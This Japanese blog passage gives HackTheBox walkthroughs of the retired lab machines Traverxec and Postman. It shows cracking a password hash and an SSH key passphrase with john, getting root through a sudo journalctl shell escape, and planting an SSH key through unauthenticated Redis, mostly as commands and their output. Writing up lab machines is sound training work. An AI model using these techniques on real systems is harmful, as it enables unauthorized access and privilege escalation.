notes, md5ns, nsec3, NT, o10glogon, o3logon, o5logon, ODF, Office, oldoffice, 
OpenBSD-SoftRAID, openssl-enc, oracle, oracle11, Oracle12C, osc, ospf, 
Padlock, Palshop, Panama, PBKDF2-HMAC-MD4, PBKDF2-HMAC-MD5, PBKDF2-HMAC-SHA1, 
PBKDF2-HMAC-SHA256, PBKDF2-HMAC-SHA512, PDF, PEM, pfx, pgpdisk, pgpsda, 
pgpwde, phpass, PHPS, PHPS2, pix-md5, PKZIP, po, pomelo, postgres, PST, 
PuTTY, pwsafe, qnx, RACF, RACF-KDFAES, radius, RAdmin, RAKP, rar, RAR5, 
Raw-SHA512, Raw-Blake2, Raw-Keccak, Raw-Keccak-256, Raw-MD4, Raw-MD5, 
Raw-MD5u, Raw-SHA1, Raw-SHA1-AxCrypt, Raw-SHA1-Linkedin, Raw-SHA224, 
Raw-SHA256, Raw-SHA256-ng, Raw-SHA3, Raw-SHA384, Raw-SHA512-ng, ripemd-128, 
ripemd-160, rsvp, Siemens-S7, Salted-SHA1, SSHA512, sapb, sapg, saph, sappse, 
securezip, 7z, Raw-SHA1-ng, Signal, SIP, skein-256, skein-512, skey, SL3, 
aix-smd5, Snefru-128, Snefru-256, LastPass, SNMP, solarwinds, SSH, sspr, 
Stribog-256, Stribog-512, STRIP, SunMD5, SybaseASE, Sybase-PROP, tacacs-plus, 
tcp-md5, telegram, tezos, Tiger, tc_aes_xts, tc_ripemd160, tc_ripemd160boot, 
tc_sha512, tc_whirlpool, vdi, OpenVMS, VNC, vtp, wbb3, whirlpool, whirlpool0, 
whirlpool1, wpapsk, wpapsk-pmk, xmpp-scram, xsha, xsha512, ZIP, ZipMonster, 
plaintext, has-160, HMAC-MD5, HMAC-SHA1, HMAC-SHA224, HMAC-SHA256, 
HMAC-SHA384, HMAC-SHA512, NT-old, dummy, crypt

解析してみる。
--formatを指定しなくてもjohnで勝手に判定してくれた。

# john --format=md5crypt --wordlist=SecLists/Passwords/Leaked-Databases/rockyou.txt david.passwd 
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me       (david)
1g 0:00:01:20 DONE (2020-03-02 20:45) 0.01243g/s 131537p/s 131537c/s 131537C/s Noyoo..Novac
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Success: Nowonly4me
早速、sshでログインを試す。

# ssh david@10.10.10.165
The authenticity of host '10.10.10.165 (10.10.10.165)' can't be established.
ECDSA key fingerprint is SHA256:CiO/pUMzd+6bHnEhA2rAU30QQiNdWOtkEPtJoXnWzVo.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.165' (ECDSA) to the list of known hosts.
david@10.10.10.165's password: 
Permission denied, please try again.

悲しみ。 まさか前回みたいにログインが禁止されているユーザなの?

$ cat /etc/ssh/ssh_config

# This is the ssh client system-wide configuration file.  See
# ssh_config(5) for more information.  This file provides defaults for
# users, and the values can be changed in per-user configuration files
# or on the command line.

# Configuration data is parsed as follows:
#  1. command line options
#  2. user-specific file
#  3. system-wide file
# Any configuration value is only changed the first time it is set.
# Thus, host-specific definitions should be at the beginning of the
# configuration file, and defaults at the end.

# Site-wide defaults for some commonly used options.  For a comprehensive
# list of available options, their meanings and defaults, please see the
# ssh_config(5) man page.

Host *
#   ForwardAgent no
#   ForwardX11 no
#   ForwardX11Trusted yes
#   PasswordAuthentication yes
#   HostbasedAuthentication no
#   GSSAPIAuthentication no
#   GSSAPIDelegateCredentials no
#   GSSAPIKeyExchange no
#   GSSAPITrustDNS no
#   BatchMode no
#   CheckHostIP yes
#   AddressFamily any
#   ConnectTimeout 0
#   StrictHostKeyChecking ask
#   IdentityFile ~/.ssh/id_rsa
#   IdentityFile ~/.ssh/id_dsa
#   IdentityFile ~/.ssh/id_ecdsa
#   IdentityFile ~/.ssh/id_ed25519
#   Port 22
#   Protocol 2
#   Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc
#   MACs hmac-md5,hmac-sha1,umac-64@openssh.com
#   EscapeChar ~
#   Tunnel no
#   TunnelDevice any:any
#   PermitLocalCommand no
#   VisualHostKey no
#   ProxyCommand ssh -q -W %h:%p gateway.example.com
#   RekeyLimit 1G 1h
    SendEnv LANG LC_*
    HashKnownHosts yes
    GSSAPIAuthentication yes

そうではないらしい。
しばらく探索したものの成果0のため、原点に戻りそもそもnhttpdとはどんな感じで設定項目とかあるんだろうと眺めることに。
ドキュメント: https://www.gsp.com/cgi-bin/man.cgi?section=8&topic=nhttpd
すると、

HOMEDIRS HTTPを介してユーザーのホームディレクトリを提供するには、ホームディレクトリが格納されているパス(通常は/ home)を定義してhomedirsオプションを有効にし ます。ユーザーのホームディレクトリにアクセスするには、URLに〜を入力し、この例のようにホームディレクトリ名を入力します。 http://www.nazgul.ch/~hacki/ ホームディレクトリのコンテンツは、ドキュメントルートのディレクトリとまったく同じ方法で処理されます。一部のユーザーがホームディレクトリにHTTP経由でアクセスすることを望まない場合、ユーザーはホームディレクトリの誰でも読み取り可能なフラグを削除し、発信者は403 Forbidden応答を受け取ります。また、基本認証が有効になっている場合、ユーザーは自分のホームディレクトリに.htaccessファイルを作成でき、呼び出し元は認証する必要があります。 homedirs_publicオプション を使用して定義することにより、ホームディレクトリ内のアクセスを単一のサブディレクトリに 制限できます。

なかなかに気になる内容を発見。
そいえば、davidのホームディレクトリにotherで xパーミッションがついてるの気になってたんだよな。

# HOMEDIRS [OPTIONAL]

homedirs        /home
homedirs_public     public_www

設定ファイルに記載されていた内容は/~david/public_wwwの形式でアクセスできるのか?
画面からアクセスしてみる。

/~david/ f:id:kyonta1022:20200514230511p:plain

/~david/public_www/

404 Not Found
nostromo 1.9.6 at 10.10.10.165 Port 80

可能性は感じつつ、有益な情報は得られない。直接ディレクトリにアクセスしてみる。

cd /home/david/public_www
pwd
/home/david/public_www

移動できた。
read権限はあるのだろうか?

ls -al
total 16
drwxr-xr-x 3 david david 4096 Oct 25 15:45 .
drwx--x--x 6 david david 4096 Mar  3 01:28 ..
-rw-r--r-- 1 david david  402 Oct 25 15:45 index.html
drwxr-xr-x 2 david david 4096 Oct 25 17:02 protected-file-area

気になるディレクトリは一個しかないのでアクセスしてみる。

cd protected-file-area
ls -al
total 16
drwxr-xr-x 2 david david 4096 Oct 25 17:02 .
drwxr-xr-x 3 david david 4096 Oct 25 15:45 ..
-rw-r--r-- 1 david david   45 Oct 25 15:46 .htaccess
-rw-r--r-- 1 david david 1915 Oct 25 17:02 backup-ssh-identity-files.tgz

秘密鍵/tmpにコピーして展開する。

cp backup-ssh-identity-files.tgz /tmp

tar -zxvf backup-ssh-identity-files.tgz
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub

秘密鍵をみてみる。

cat home/david/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F

seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG
tuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W
KzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU
RJUpcsAtpHAbXaJI9LFyX8IhQ8frTOOLuBMmuSEwhz9KVjw2kiLBLyKS+sUT9/V7
HHVHW47Y/EVFgrEXKu0OP8rFtYULQ+7k7nfb7fHIgKJ/6QYZe69r0AXEOtv44zIc
Y1OMGryQp5CVztcCHLyS/9GsRB0d0TtlqY2LXk+1nuYPyyZJhyngE7bP9jsp+hec
dTRqVqTnP7zI8GyKTV+KNgA0m7UWQNS+JgqvSQ9YDjZIwFlA8jxJP9HsuWWXT0ZN
6pmYZc/rNkCEl2l/oJbaJB3jP/1GWzo/q5JXA6jjyrd9xZDN5bX2E2gzdcCPd5qO
xwzna6js2kMdCxIRNVErnvSGBIBS0s/OnXpHnJTjMrkqgrPWCeLAf0xEPTgktqi1
Q2IMJqhW9LkUs48s+z72eAhl8naEfgn+fbQm5MMZ/x6BCuxSNWAFqnuj4RALjdn6
i27gesRkxxnSMZ5DmQXMrrIBuuLJ6gHgjruaCpdh5HuEHEfUFqnbJobJA3Nev54T
fzeAtR8rVJHlCuo5jmu6hitqGsjyHFJ/hSFYtbO5CmZR0hMWl1zVQ3CbNhjeIwFA
bzgSzzJdKYbGD9tyfK3z3RckVhgVDgEMFRB5HqC+yHDyRb+U5ka3LclgT1rO+2so
uDi6fXyvABX+e4E4lwJZoBtHk/NqMvDTeb9tdNOkVbTdFc2kWtz98VF9yoN82u8I
Ak/KOnp7lzHnR07dvdD61RzHkm37rvTYrUexaHJ458dHT36rfUxafe81v6l6RM8s
9CBrEp+LKAA2JrK5P20BrqFuPfWXvFtROLYepG9eHNFeN4uMsuT/55lbfn5S41/U
rGw0txYInVmeLR0RJO37b3/haSIrycak8LZzFSPUNuwqFcbxR8QJFqqLxhaMztua
4mOqrAeGFPP8DSgY3TCloRM0Hi/MzHPUIctxHV2RbYO/6TDHfz+Z26ntXPzuAgRU
/8Gzgw56EyHDaTgNtqYadXruYJ1iNDyArEAu+KvVZhYlYjhSLFfo2yRdOuGBm9AX
JPNeaxw0DX8UwGbAQyU0k49ePBFeEgQh9NEcYegCoHluaqpafxYx2c5MpY1nRg8+
XBzbLF9pcMxZiAWrs4bWUqAodXfEU6FZv7dsatTa9lwH04aj/5qxEbJuwuAuW5Lh
hORAZvbHuIxCzneqqRjS4tNRm0kF9uI5WkfK1eLMO3gXtVffO6vDD3mcTNL1pQuf
SP0GqvQ1diBixPMx+YkiimRggUwcGnd3lRBBQ2MNwWt59Rri3Z4Ai0pfb1K7TvOM
j1aQ4bQmVX8uBoqbPvW0/oQjkbCvfR4Xv6Q+cba/FnGNZxhHR8jcH80VaNS469tt
VeYniFU/TGnRKDYLQH2x0ni1tBf0wKOLERY0CbGDcquzRoWjAmTN/PV2VbEKKD/w
-----END RSA PRIVATE KEY-----

補足:その後以下のURLにアクセスしたら閲覧出来た。 /~david/protected-file-area f:id:kyonta1022:20200514230418p:plain f:id:kyonta1022:20200514230424p:plain

david

今度こそログインできるだろう。

root@kali-linux:~/sandbox# ssh -i david.id_rsa david@10.10.10.165
Enter passphrase for key 'david.id_rsa': 

パスフレーズが必要なので、解析する。

# john --wordlist=./SecLists/Passwords/Leaked-Databases/rockyou.txt david.id_rsa.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (david.id_rsa)
Warning: Only 1 candidates left, minimum 2 needed for performance.
1g 0:00:00:07 DONE (2020-03-03 15:45) 0.1398g/s 2005Kp/s 2005Kc/s 2005KC/s *7¡Vamos!
Session completed

davidでの侵入成功

# ssh -i david.id_rsa david@10.10.10.165
Enter passphrase for key 'david.id_rsa': 
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Tue Mar  3 01:30:08 2020 from 10.10.14.214

david@traverxec:~$ ls -al
total 36
drwx--x--x 5 david david 4096 Oct 25 17:02 .
drwxr-xr-x 3 root  root  4096 Oct 25 14:32 ..
lrwxrwxrwx 1 root  root     9 Oct 25 16:15 .bash_history -> /dev/null
-rw-r--r-- 1 david david  220 Oct 25 14:32 .bash_logout
-rw-r--r-- 1 david david 3526 Oct 25 14:32 .bashrc
drwx------ 2 david david 4096 Oct 25 16:26 bin
-rw-r--r-- 1 david david  807 Oct 25 14:32 .profile
drwxr-xr-x 3 david david 4096 Oct 25 15:45 public_www
drwx------ 2 david david 4096 Oct 25 17:02 .ssh
-r--r----- 1 root  david   33 Oct 25 16:14 user.txt

フラグを確認する。

david@traverxec:~$ cat user.txt 
7db0b48469606a42cec207xxxxxxxxxx

sudo権限確認

$ sudo -l
[sudo] password for david: 

id確認

$ id
uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

ホームディレクトリでbinと言うあからさまなディレクトリがあるので覗く。

$ cd bin
david@traverxec:~/bin$ ls -al
total 16
drwx------ 2 david david 4096 Oct 25 16:26 .
drwx--x--x 5 david david 4096 Oct 25 17:02 ..
-r-------- 1 david david  802 Oct 25 16:26 server-stats.head
-rwx------ 1 david david  363 Oct 25 16:26 server-stats.sh

binに入ってるシェルを実行してみる

$ cat server-stats.sh 
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat 
$ sh server-stats.sh 
                                                                          .----.
                                                              .---------. | == |
   Webserver Statistics and Data                              |.-"""""-.| |----|
         Collection Script                                    ||       || | == |
          (c) David, 2019                                     ||       || |----|
                                                              |'-.....-'| |::::|
                                                              '"")---(""' |___.|
                                                             /:::::::::::\"    "
                                                            /:::=======:::\
                                                        jgs '"""""""""""""' 

Load:  17:45:50 up  1:05,  3 users,  load average: 0.00, 0.00, 0.00
 
Open nhttpd sockets: 8
Files in the docroot: 117
 
Last 5 journal log lines:
-- Logs begin at Tue 2020-03-03 16:40:23 EST, end at Tue 2020-03-03 17:45:50 EST. --
Mar 03 17:26:23 traverxec sudo[9752]: www-data : command not allowed ; TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=list
Mar 03 17:44:43 traverxec su[16168]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty=pts/4 ruser=www-data rhost=  user=root
Mar 03 17:44:45 traverxec su[16168]: FAILED SU (to root) www-data on pts/4
Mar 03 17:45:01 traverxec su[16182]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty=pts/4 ruser=www-data rhost=  user=david
Mar 03 17:45:02 traverxec su[16182]: FAILED SU (to david) www-data on pts/4

journalctlについて色々調べてみる。

sudoでroot権限での実行もできるので、脆弱性か特権昇格系何かあるか調べる。
検索ワードはsudo journalctl exploit

検索の上位に面白いサイトを見つけた。

GTFOBinsは、攻撃者が悪用してローカルのセキュリティ制限を回避できるUnixバイナリの厳選されたリストです https://gtfobins.github.io/

journalctlコマンドを見てみると、shを使う方法が紹介されていた。

journalctl
!/bin/sh

早速使ってみる

$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Wed 2020-03-04 19:16:28 EST, end at Wed 2020-03-04 19:16:58 EST. --
Mar 04 19:16:33 traverxec systemd[1]: Starting nostromo nhttpd server...
Mar 04 19:16:33 traverxec systemd[1]: nostromo.service: Can't open PID file /var/nostromo/logs/nhttpd.pid (yet?) after start: No such
Mar 04 19:16:33 traverxec nhttpd[459]: started
Mar 04 19:16:33 traverxec nhttpd[459]: max. file descriptors = 1040 (cur) / 1040 (max)
Mar 04 19:16:34 traverxec systemd[1]: Started nostromo nhttpd server.
!/bin/
# id
uid=0(root) gid=0(root) groups=0(root)

フラグを確認する。

# cat /root/root.txt
9aa36a6d76f785dfd320a4xxxxxxxxxx

ついでにsudoの設定ファイルもみてみる。

# cat /etc/sudoers
...
# Allow david to tail last 5 lines of nhttpd logs for the server stats script.
# Should be safe.
david   ALL=(ALL:ALL) NOPASSWD:/usr/bin/journalctl -n5 -unostromo.service

終わり

感想

全体的に対象のソフトウェアを理解していないと突破できないなと感じた。他のと比べると簡単だった気もするが、そこが難しい。
今回ローカルからの特権昇格についての知識は皆無だったので、gtfobinsの存在を知れたのは大きな成果だった。

探索している最中に他のユーザが使っていたのであろうシェルを見つけた。
https://github.com/rebootuser/LinEnum
権限周りなど、一通り調べるように自動化したものらしい。これもいい収穫だった。

HTB Postman Walkthrough

振り返り的な用途で、攻撃プロセスを書き出す。
※ HackTheBoxのPostmanマシンに対するネタバレになるので、挑戦予定の方は🙅‍♂️
※ RetiredになったマシンのみWalkthroughの公開は可能です。

概要

https://www.hackthebox.eu/home/machines/profile/215

10.10.10.160

f:id:kyonta1022:20200514223844p:plainf:id:kyonta1022:20200514223859p:plain

Machineの概要を見てみると、Enumeration/CVE が必要とされている。
どれだけ網羅的にスキャンできて、稼働しているサービスの脆弱性を発見できるかが問われる。
前回突破したOpneAdminよりチャートが鋭いので、より実践的なイメージ。

偵察

Nmap Scan

一番最初にやるべきは、対象ホストにてどのようなサービスが稼働しているかの確認。

# nmap -A 10.10.10.160
Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-28 20:49 JST
Nmap scan report for 10.10.10.160
Host is up (0.17s latency).
Not shown: 968 closed ports, 29 filtered ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=2/28%OT=22%CT=1%CU=33230%PV=Y%DS=2%DC=T%G=Y%TM=5E58FE7
OS:8%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   247.14 ms 10.10.14.1
2   247.16 ms 10.10.10.160

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.70 seconds

脆弱性情報検索

Apache 2.4.29OpenSSH 7.6p1に関しては、OpenAdminのときに使えそうな脆弱性がなかったので今回は対象外とした。
なので、脆弱性がありそうなサービス候補としてはMiniServ 1.910だけになる。
WebMinについて調べてみると1.910には、ログインしてパッケージを更新する権限がある場合に、リモートコマンド実行の脆弱性存在するらしい。

お、使えそうと思ったが、ログインした状態かつ、パッケージを更新する権限がある場合なので、この線は無さそうと判断。
その後も、DirBusterを使って公開ページの調査や、見落としている脆弱性の可能性を探したが、足掛かりが見つからずお手上げ状態。
Nmapのドキュメントを読んでいたら、スキャンのレンジを長くしてみたらどうだろう?と言うことに気付きフルスキャンしてみる。
(教訓:Nmapはドキュメントで理解を深めとくべき)

# nmap -Pn -A -O -p- -e tun0 10.10.10.160
Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-28 20:59 JST
Nmap scan report for 10.10.10.160
Host is up (0.17s latency).
Not shown: 9996 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis   Redis key-value store 4.0.9
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=2/28%OT=22%CT=1%CU=38980%PV=Y%DS=2%DC=T%G=Y%TM=5E59012
OS:6%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=110%TI=Z%CI=Z%TS=A)SEQ(SP=FF
OS:%GCD=1%ISR=110%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=
OS:M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=71
OS:20%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7
OS:%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=
OS:Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%
OS:RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIP
OS:CK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT       ADDRESS
1   186.00 ms 10.10.14.1
2   186.16 ms 10.10.10.160

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 131.60 seconds

再度ポートスャンをかけると、前回見落としていたRedis 4.0.9が見つかる。
早速脆弱性情報を調べてみると、4.xおよび5.xUnauthenticated Code Executionと言うのを発見した。

詳細:https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

4.x系は該当するので、これが足掛かりになるやつかと思い実行してみたが、攻撃が全然成功しない。。。。

途方に暮れながら色々調べ直した結果、設定の不備を利用した攻撃が可能そうだったので、これを使ってみることにした。

# telnet 10.10.10.160 6379
Trying 10.10.10.160...
Connected to 10.10.10.160.
Escape character is '^]'.
echo "Hey no AUTH required!"
$21
Hey no AUTH required!
quit
+OK
Connection closed by foreign host.

AUTHが有効になっていないのが確認できた。

侵入

Redis Remote Command Execution

packetstormの手順にしたがって公開鍵をポストしてみる。
始めにポストするためのキーペアを作成する。

# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:AVahdPKX21gtT1FZoAVme5GhFAcgyz3kDGXnNmEtfsc root@kali-linux
The key's randomart image is:
+---[RSA 2048]----+
|      =.*o=.@=B==|
|     o B X O.Oo+ |
|      . = B.X.+. |
|         o B.*. E|
|        S o .... |
|                 |
|                 |
|                 |
|                 |
+----[SHA256]-----+

公開鍵をポスト

# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
# redis-cli -h 10.10.10.160 flushall
OK
# cat foo.txt | redis-cli -h 10.10.10.160 -x set crackit
OK
# redis-cli -h 10.10.10.160

10.10.10.160:6379> config get dir
1) "dir"
2) "/var/lib/redis"
10.10.10.160:6379> config set dir /var/lib/redis/.ssh/
OK
10.10.10.160:6379> config set dbfilename "authorized_keys"
OK
10.10.10.160:6379> save
OK
10.10.10.160:6379> quit

ログインしてみる。

# ssh -i id_rsa redis@10.10.10.160
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Feb 28 12:35:52 2020 from 10.10.15.210
redis@Postman:~$ 

ボッティング

redis

redisユーザの情報を確認する

redis@Postman:~$ id
uid=107(redis) gid=114(redis) groups=114(redis)

sudo確認

$ sudo -l
[sudo] password for redis: 

passwdファイルの確認

redis@Postman:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:109::/run/uuidd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
Matt:x:1000:1000:,,,:/home/Matt:/bin/bash
redis:x:107:114::/var/lib/redis:/bin/bash

groupの確認

redis@Postman:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:syslog
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
audio:x:29:
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
systemd-journal:x:101:
systemd-network:x:102:
systemd-resolve:x:103:
input:x:104:
crontab:x:105:
syslog:x:106:
messagebus:x:107:
mlocate:x:108:
uuidd:x:109:
ssh:x:110:
lpadmin:x:111:
sambashare:x:112:
Matt:x:1000:
ssl-cert:x:113:
redis:x:114:
netdev:x:115:

今居る場所にどんなファイルが置いてあるか確認

redis@Postman:~$ ls -al
total 660
drwxr-x---  7 redis redis   4096 Feb 28 11:59 .
drwxr-xr-x 37 root  root    4096 Aug 25  2019 ..
drwxr-xr-x  2 root  root    4096 Oct 25 15:21 6379
-rw-------  1 redis redis    741 Feb 28 12:30 .bash_history
drwx------  2 redis redis   4096 Feb 28 12:40 .cache
-rw-r-----  1 redis redis  46760 Aug 26  2019 dkixshbr.so
-rw-rw----  1 redis redis     92 Feb 28 11:59 dump.rdb
drwx------  3 redis redis   4096 Aug 25  2019 .gnupg
-rw-r-----  1 redis redis  46760 Aug 25  2019 ibortfgq.so
drwxrwxr-x  3 redis redis   4096 Aug 26  2019 .local
-rw-r-----  1 redis redis 440656 Aug 25  2019 module.o
-rw-r-----  1 redis redis  46760 Aug 25  2019 qcbxxlig.so
